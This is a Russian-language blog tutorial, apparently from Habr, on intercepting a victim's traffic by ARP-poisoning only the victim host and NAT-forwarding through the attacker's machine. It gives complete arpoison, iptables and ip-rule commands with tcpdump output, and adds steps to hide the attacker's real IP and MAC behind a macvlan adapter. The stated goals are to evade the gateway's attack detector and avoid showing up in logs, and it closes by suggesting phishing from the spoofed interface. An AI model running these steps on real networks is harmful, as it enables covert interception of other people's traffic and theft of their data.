На Хабре было уже много статей на тему классического ARP спуфинга, однако все они были похожи тем, что для полноценного перехвата трафика надо было подменять ARP записи у двух машин. Как правило, это жертва и ее шлюз по умолчанию. Однако, идея спуфить шлюз не всегда хороша. Он вполне может иметь на борту детектор атак, который в два счета доложит админу что сеть ломают и халява кончится не начавшись. В данной статье будет рассмотрен метод перехвата трафика, при котором атака производится только на хост-жертву. Как обычно в таких случаях, статья чисто для ознакомления, использование во вред карается по закону и т.д.
Под катом много букв.
Сразу оговорюсь, что для атак будет использоваться Linux. Профессионалам сетевой безопасности просьба ногами не бить.
Чуть-чуть об ARP
При написании статьи я буду исходить из того, что читающий хотя бы примерно знает, кто такой ARP, зачем и как он работает. Почитать можно тут. Если совсем вкратце, то ARP используется для того, чтобы понять, на какой физический MAC-адрес слать пакет, если известен IP получателя. Соответственно, подменив настоящий MAC адрес некоторого узла на свой в ARP таблице жертвы, мы добьемся того, что пакеты для такого узла жертва пошлет нам. Мы же можем как напрямую переслать такие пакеты до настоящего получателя, так и менять их на ходу перед отправкой. Здесь есть одна проблема. Если просто пересылать пакеты дальше, то мы увидим лишь половину трафика, так как получатель будет отправлять ответ жертве напрямую. Обычно для решения этой проблемы получатель делается второй жертвой и подвергается симметричной атаке. Но с другой стороны, обычно хочется перехватить интернет-трафик жертвы, а значит получателем будет сетевой шлюз. И если этот шлюз не простой домашний роутер, а что-то более серьезное, то проводить на него ARP атаку крайне нежелательно.
Простой вариант атаки
Итак, пусть мы хотим перехватить трафик жертвы, при этом мы можем слать «заведомо паленые» пакеты только на машину жертвы. Решение состоит в том, чтобы поднять у себя на машине NAT и вместо прямой пересылки отправлять трафик на шлюз уже со своего интерфейса. В этом случае мы работаем для жертвы как еще один NAT-шлюз.
Конфигурация сети
Пусть есть в сеть 192.168.0.0/24 со шлюзом 192.168.0.1. Для удобства, пусть MAC адреса адаптеров будут вида 00-00-00-00-00-XX, где XX — последняя цифра IP адреса, то есть MAC шлюза у нас будет 00-00-00-00-00-01.
В сети есть машины:
192.168.0.1 / 00-00-00-00-00-01 — шлюз
192.168.0.3 / 00-00-00-00-00-03 — жертва
eth0 — 192.168.0.5 / 00-00-00-00-00-05 — наша машина, с которой будем атаковать. В сеть подключен единственный сетевой интерфейс eth0
Утилиты
Для ARP спуфинга будем использовать утилиту arpoison. Она, в отличие, от arpspoof из пакета dsniff, не требует корректной IP конфигурации интерфейса, с которого происходит спуфинг (это нам понадобится чуть позже).
Поехали
Итак, для начала разрешим маршрутизацию пакетов:
# sysctl net.ipv4.ip_forward = 1 # iptables -A FORWARD -j ACCEPT
теперь запустим ARP спуфинг:
# arpoison -i eth0 -d 192.168.0.3 -s 192.168.0.1 -t 00:00:00:00:00:03 -r 00:00:00:00:00:05 ARP reply 1 sent via eth0 ARP reply 2 sent via eth0 ARP reply 3 sent via eth0
все, машина жертвы теперь уверена, что 192.168.0.1 — это наш eth0. Можно проверить и убедиться (выполняем на жертве):
# arp Address HWtype HWaddress Flags Mask Iface 192.168.0.1 ether 00:00:00:00:00:05 C eth0
поднимаем на нашей машине NAT (для простоты будет маскарадить все, что форвардится и отправлено не на localhost):
# iptables -t nat -A POSTROUTING ! -d 127.0.0.1/8 -j MASQUERADE
готово. Проверяем, пингуя шлюз с жертвы, на нашей машине видим примерно такую картину:
# tcpdump -i eth0 -ne icmp 14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356578 00:00:00:00:00:05 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.5 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.5: ICMP echo reply, id 35670, seq 320, length 64 14:26:25.356835 00:00:00:00:00:05 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
видно, что пинг пришел к нам, от нас с нашего IP ушел на шлюз, а вернувшийся ответ ушел отправителю. Словом, обычный NAT.
Усложняем задачу
Трафик-то мы перехватили, однако умудрились при этом засветить свой IP и MAC, что позволит взять нас за мягкое место при первом открытии wireshark на жертве или при просмотре логов на шлюзе. Попробуем повторить фокус, но при этом наследить поменьше. Для этого поднимем виртуальный адаптер с другимb MAC и IP.
Cоздаем адаптер, он получит случайный MAC, пусть у нас он будет 00-00-00-00-00-06:
# ip link add link eth0 dev virt0 type macvlan
# ifconfig virt0 up
# ifconfig virt0
virt0: flags=4098<BROADCAST,MULTICAST> mtu 1500
ether 00:00:00:00:00:06 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
пропишем IP адрес или возьмем его по DHCP. Во втором случае после получения адреса не забываем выкинуть все маршруты через virt0:
# dhcpcd virt0 dhcpcd[28920]: version 6.3.2 starting dhcpcd[28920]: DUID 00:01:00:01:19:9d:11:86:00:00:00:00:00:05 dhcpcd[28920]: virt0: IAID 00:e8:8a:01 dhcpcd[28920]: virt0: soliciting an IPv6 router dhcpcd[28920]: virt0: soliciting a DHCP lease dhcpcd[28920]: virt0: offered 192.168.0.6 from 192.168.0.1 dhcpcd[28920]: virt0: leased 192.168.0.6 for 3600 seconds dhcpcd[28920]: virt0: adding route to 192.168.0.0/24 dhcpcd[28920]: virt9: adding default route via 192.168.0.1 dhcpcd[28920]: forked to background, child pid 29059 # dhcpcd -x virt0 dhcpcd[29192]: sending signal TERM to pid 29059 dhcpcd[29192]: waiting for pid 29059 to exit # ifconfig virt0 down # ifconfig virt0 up
после таких манипуляций у нас должен появиться адаптер virt0 с MAC 00-00-00-00-00-06 и IP 192.168.0.6 и без единого маршрута через него.
Следующим этапом добавляем правило маршрутизации при котором все пакеты, пришедшие с virt0, будут пересылаться через него же:
# ip route add 192.168.0.0/24 dev virt0 table 100 # ip rule add iif virt0 lookup 100 # ip route show table 100 192.168.0.0/24 dev virt0 scope link # ip rule 0: from all lookup local 32765: from all iif virt0 lookup 100 32766: from all lookup main 32767: from all lookup default
Теперь можно запустить спуфинг и посмотреть, что получилось:
# arpoison -i virt0 -d 192.168.0.3 -s 192.168.0.1 -t 00:00:00:00:00:03 -r 00:00:00:00:00:06
# tcpdump -i eth0 -ne icmp 14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356578 00:00:00:00:00:06 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.6 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64 14:26:25.356835 00:00:00:00:00:05 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
на первый взгляд все красиво, однако мы засветили свой настоящий MAC. Произошло это потому, что на ARP запрос, какой MAC у 192.168.0.6 наша машина радостно ответила шлюзу настоящим адресом сетевой карты. Чтобы такого не было, надо сделать следующее:
# sysctl net.ipv4.conf.all.arp_ignore=1
теперь на ARP запросы будет отзываться только настоящий адаптер. Осталось решить проблему доставки MAC адреса виртуального адаптера шлюзу. Можно это сделать например тем же arpoison, указав настоящие адреса и интервал побольше. В этом случае такие ARP ответы не должны вызвать подозрение:
# arpoison -i virt0 -d 192.168.0.1 -s 192.168.0.6 -t 00:00:00:00:00:01 -r 00:00:00:00:00:06 -w 5
все, теперь шлюз знает, куда отправить ответ и картинка становится красивой:
# tcpdump -i eth0 -ne icmp 14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356578 00:00:00:00:00:06 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.6 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64 14:26:25.356835 00:00:00:00:00:06 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
Осталась самая малость. Запретить системе принимать входящие (не пересылаемые) пакеты на виртуальном интерсейсе, чтоб кто-нибудь любопытный не сравнил список сервисов на 192.168.0.6 и 192.168.0.5
# iptables -A INPUT -i virt0 -j DROP
Вместо заключения
В итоге у нас получилось перехватить трафик, атаковав только машину жертвы, не засветив при этом свои реальные IP и MAC. Перехваченные пакеты при этом маршрутизируются стандартными средствами. Также можно настроить более веселые правила маршрутизации, открыть на virt0 80 порт и позаниматься фишингом, но это уже другая история.
UPD: было бы интересно почитать в комментах, как такую схему все таки можно запалить, не имея в сети l3 маршрутизации.
Автор: zabbius
